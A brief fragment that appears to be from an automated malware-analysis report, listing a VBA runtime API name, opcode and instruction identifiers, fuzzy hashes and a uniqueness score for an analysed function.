        • API ID: __vba$#546ChkstkFreeMove
        • String ID:
        • API String ID: 3298562087-0
        • Opcode ID: 4fb6f1b27fdea30885ea4db2035f2472a18defd02cf6d37896fe3abfb600ddf0
        • Instruction ID: 24eb959b65668718e584260039c2036f1a7e0474fabe3a737f57eb0459b3204b
        • Opcode Fuzzy Hash: 4fb6f1b27fdea30885ea4db2035f2472a18defd02cf6d37896fe3abfb600ddf0
        • Instruction Fuzzy Hash: 08F0307185024CBADB00EBA1CD46FDDB77CFB04B44F50452BB401B75A0D7BC2A048669
        Uniqueness

        Uniqueness Score: -1.00%